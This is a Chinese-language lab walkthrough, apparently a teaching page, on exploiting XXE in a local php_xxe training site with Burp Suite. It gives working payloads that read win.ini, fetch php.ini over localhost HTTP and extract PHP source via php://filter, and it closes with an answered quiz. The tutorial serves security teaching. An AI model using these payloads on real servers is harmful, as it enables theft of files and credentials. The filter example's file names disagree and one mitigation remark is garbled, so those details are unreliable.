云计算百科
云计算领域专业知识百科平台

手把手教你利用XXE漏洞读取服务器文件

题目1:平台搭建

你需要搭建一个名为 php_xxe 的本地 Web 环境,并演示如何利用 XXE(XML 外部实体注入)漏洞读取服务器上的文件。

1. 环境准备

你需要一个集成了 PHP 环境的 Web 服务器软件,推荐使用 phpStudy、WampServer 或 XAMPP。这里以最常用的 phpStudy 为例。

2. 部署步骤

  • 启动服务:打开 phpStudy,确保 Apache 和 MySQL 服务处于“开启”状态(通常显示为绿色)。
  • 放置源码:
    • 找到 phpStudy 的网站根目录,通常是 WWW 文件夹(例如 C:\\phpstudy_pro\\WWW)。
    • 将你下载好的 php_xxe 文件夹(即你截图中显示的包含 index.html、doLogin.php 等文件的文件夹)复制粘贴到这个 WWW 目录下。
  • 访问测试:
    • 打开浏览器。
    • 在地址栏输入:http://localhost/php_xxe/ 或者 http://127.0.0.1/php_xxe/。
    • 如果页面正常加载出登录界面,说明平台搭建成功。
  • 你已经成功搭建了 php_xxe 平台并看到了登录界面。接下来的操作是利用 XXE(XML 外部实体注入) 漏洞来读取服务器上的文件。

    这个靶场的工作原理是:点击“LOGIN”后,前端会将数据封装成 XML 格式发送给后端 PHP 处理。我们需要拦截这个请求,修改其中的 XML 代码,从而让服务器去读取它本不该读取的文件。

    靶场文件目录:

    题目2:利用 XXE(XML 外部实体注入) 漏洞来读取服务器上的文件

    第一步:抓取数据包(抓包)

    你需要使用抓包工具(如 Burp Suite 或浏览器插件 HackBar / F12开发者工具)来拦截登录请求。

  • 打开 Burp Suite,开启代理拦截(Intercept is on)。
  • 在浏览器登录页面随意输入用户名(如 admin)和密码(如 1234)。
  • 点击绿色的 LOGIN 按钮。
  • 此时 Burp Suite 会拦截到一个 POST 请求。
  • 第二步:构造 Payload(攻击载荷)

    在拦截到的数据包中,找到请求体(Request Body),你会看到原始的 XML 数据。你需要将其修改为包含恶意实体的代码。

    (1)修改 XML 数据(构造 Payload)

    你需要删除原本的 <user>…</user> 部分,替换成包含恶意定义的 XML 代码。

    操作方法:

  • 在 Burp Suite 的拦截界面中,选中第 14 行到最后一行的所有 XML 内容(即 <user> 标签及其内部内容)。
  • 删除这些旧内容。
  • 复制并粘贴以下代码进去(注意缩进和格式要保持整洁):

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE note [

      <!ENTITY test SYSTEM "file:///c:/windows/win.ini">

    ]>

    <user>

        <username>&test;</username>

        <password>123</password>

    </user>

  • 代码解释:

    • <!ENTITY test SYSTEM "…">:定义了一个名为 test 的外部实体,指向本地文件 c:/windows/win.ini。
    • <username>&test;</username>:告诉服务器,“把 username 的值替换为 test 这个实体所代表的文件内容”。

    (2)发送请求
  • 确认修改后的数据包看起来像这样(重点看下半部分):
    ![示意图]

    • 头部保持原样。
    • 底部变成了我们刚才写的带有 <!DOCTYPE 的代码。
  • 点击 Burp Suite 右上角的 「Forward」(转发)按钮。

  • (3)查看结果
  • 点击 Forward 后,浏览器页面会刷新或显示响应结果。
  • 如果攻击成功:
    • 页面可能会报错,或者在原本显示“登录失败/用户名错误”的地方,直接打印出了 win.ini 文件的内容(通常是以 ; for 16-bit app support 开头的一大段文字)。
    • 这说明服务器已经把 win.ini 的内容读出来并返回给你了。

  • (4)截图保存

    题目要求截图,你需要截取以下两个画面之一作为证据:

  • Burp 中的修改画面:就像你现在发的这张图,但是下半部分已经改成了上面的恶意代码。
  • 浏览器的回显画面:页面上显示出 win.ini 文件内容的瞬间。
  • 题目3:用 HTTP 协议读取站点下的文件

    这一步的核心思路是:利用你的靶机(127.0.0.1)去请求它自己服务器上的另一个网页或文件。如果成功,服务器会把那个文件的内容当作“用户名”返回给你。

    以下是具体操作步骤:

    第一步:确定你要读取的文件路径

    题目参考代码里写的是 http://127.0.0.1/dvwa/php.ini。

    • 注意:这里的 /dvwa/ 是 DVWA 靶场的目录名。如果你当前是在 php_xxe 环境下做题,你需要确认你想读取的文件到底在哪里。
    • 通用做法:通常我们尝试读取网站根目录下的配置文件,比如 http://127.0.0.1/php.ini 或者 http://127.0.0.1/index.php。

    第二步:构造 Payload(攻击载荷)

    回到你的 Burp Suite(或者 HackBar),将请求体中的 XML 修改为以下内容:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE note [

      <!ENTITY test SYSTEM "http://127.0.0.1/php.ini">

    ]>

    <user>

        <username>&test;</username>

        <password>123</password>

    </user>

    关键点解析:

    • SYSTEM "http://127.0.0.1/php.ini":这里把之前的 file:/// 换成了 http://。意思是让服务器发起一个 HTTP 请求去访问本地的 php.ini 文件。
    • <username>&test;</username>:依然是在用户名处触发实体引用。

    第三步:发送并查看结果

  • 点击 Burp Suite 的 Forward 发送数据包。
  • 观察浏览器返回的响应(Response)。
    • 如果成功:你会看到一大段文本,那是 PHP 配置文件(php.ini)的内容,或者是该网页的 HTML 源代码。
    • 如果失败:可能会提示连接超时或文件不存在(404)。如果是这样,尝试修改 URL 路径,例如改成 http://127.0.0.1/index.html 试试。
  • 题目4:用 php://filter 读取 PHP 文件

    这是一个非常经典的 XXE 利用技巧。因为直接读取 .php 文件时,服务器会先执行代码而不是输出源码(你会看到空白或报错),所以我们需要利用 php://filter 协议将文件内容进行 Base64 编码,这样就能绕过执行,直接把源码“骗”出来。

    操作步骤

    第一步:构造 Payload

    回到你的 Burp Suite(拦截请求的界面),将 XML 请求体修改为以下内容:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE note [

      <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">

    ]>

    <user>

        <username>&test;</username>

        <password>123</password>

    </user>

    关键点解析:

    • php://filter/…:这是 PHP 特有的流包装器。
    • read=convert.base64-encode:告诉服务器在读取文件时,先把内容转成 Base64 字符串。
    • resource=flag.php:指定你要读取的目标文件是 flag.php(通常这个文件里藏着题目的 Flag)。

    第二步:发送请求

    点击 Burp Suite 右上角的 「Forward」 按钮发送数据包。

    第三步:解码获取 Flag

  • 查看响应:在浏览器的返回页面或者 Burp 的 Response 面板中,你看到的不再是乱码或空白,而是一串长长的 Base64 字符串(例如 PD9waHAgJGZsYWcgPSAiZmxhZ3t4eHh4fSI7ID8+)。
  • 进行解码:
    • 复制这串 Base64 字符。
    • 使用在线工具(搜索“Base64 解码”)或者 HackBar 的解码功能进行解码。
  • 得到结果:解码后,你就会看到 flag.php 的源代码,里面通常包含类似 flag{xxxxxx} 的答案。
  • 总结

    这一题的核心在于 “编码绕过”。如果不加 convert.base64-encode,服务器尝试把 flag.php 当作普通文本读入 XML 解析器时,可能会因为 PHP 标签 <?php 导致 XML 解析错误,或者直接执行了 PHP 代码导致你看不到源码。通过 Base64 编码,就把代码变成了纯文本数据,从而成功读取。

    客观题

    一、 单选题

    1. 以下哪个是正确的外部实体定义?

    • A. <!ENTITY xxe "file:///etc/passwd">
    • B. <!ENTITY xxe SYSTEM "file:///etc/passwd">
    • C. <!ENTITY % xxe SYSTEM "file:///etc/passwd">
    • D. &xxe; SYSTEM "file:///etc/passwd"

    ✅ 正确答案:B
    💡 解析:

    • A 是内部实体定义,不是外部实体。
    • B 是标准的外部实体定义语法:<!ENTITY 实体名 SYSTEM "URI">。
    • C 是参数实体的定义(注意 %),且参数实体通常用于 DTD 内部,不能直接在文档内容中用 &xxe; 引用。
    • D 语法完全错误。

    2. (单选题, 5分) 参数实体的正确语法是?

    • A. <!ENTITY % name "value"> 和 &name;
    • B. <!ENTITY name "value"> 和 %name;
    • C. <!ENTITY % name "value"> 和 %name;
    • D. <!ENTITY name SYSTEM "value"> 和 &name;

    ✅ 正确答案:C
    💡 解析:

    • 参数实体在定义时需要在 ENTITY 后加 %:<!ENTITY % name "value">。
    • 在引用参数实体时,也必须用 % 包裹:%name;(注意分号不能少)。
    • 普通实体才是用 &name; 引用。

    二、 填空题

    3. (填空题, 10分) 补全以下 XXE Payload,使其读取 /etc/hostname 文件:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE test [

    <!ENTITY xxe SYSTEM "__________">

    ]>

    <root>__________</root>

    ✅ 第1空答案: file:///etc/hostname
    ✅ 第2空答案: &xxe;

    💡 解析:

    • 第1空:外部实体需要指定协议和路径,读取本地文件使用 file:// 协议,所以填 file:///etc/hostname(注意是三个斜杠)。
    • 第2空:在 XML 标签内容中引用实体,使用 &实体名; 的格式,所以填 &xxe;。

    三、 判断题

    4. (判断题, 5分) 使用 file:// 协议只能读取文本文件。

    正确答案:B (错)
    💡 解析:
    file:// 协议可以读取任何文件,包括二进制文件(如图片、可执行文件、PDF等)。

    • 如果是文本文件,内容会直接回显。
    • 如果是二进制文件,内容会以乱码或原始字节流形式返回,虽然人眼看不懂,但确实读取到了。
    • 补充: 如果想把二进制文件转成 Base64 方便查看,需要配合 php://filter 伪协议,而不是 file:// 本身的限制。

    5. (判断题, 5分) 审计代码,下列代码不存在 XXE 漏洞。

    <?php

    function parseXML($input) {

      $xml = simplexml_load_string($input);

      return $xml->getName();

    }

    $userData = $_POST['xml_data'];

    echo parseXML($userData);

    ?>

    正确答案:B (错)
    💡 解析:
    这段代码存在 XXE 漏洞!

    • simplexml_load_string() 在 PHP 默认配置下(尤其是旧版本或未显式禁用外部实体的情况下)会解析外部实体。
    • 代码直接将用户输入的 $_POST['xml_data'] 传入解析函数,没有任何过滤或安全配置(如 LIBXML_NOENT 禁用或 libxml_disable_entity_loader(true))。
    • 攻击者可以构造恶意 XML,读取服务器文件或发起 SSRF 攻击。
    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 手把手教你利用XXE漏洞读取服务器文件
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!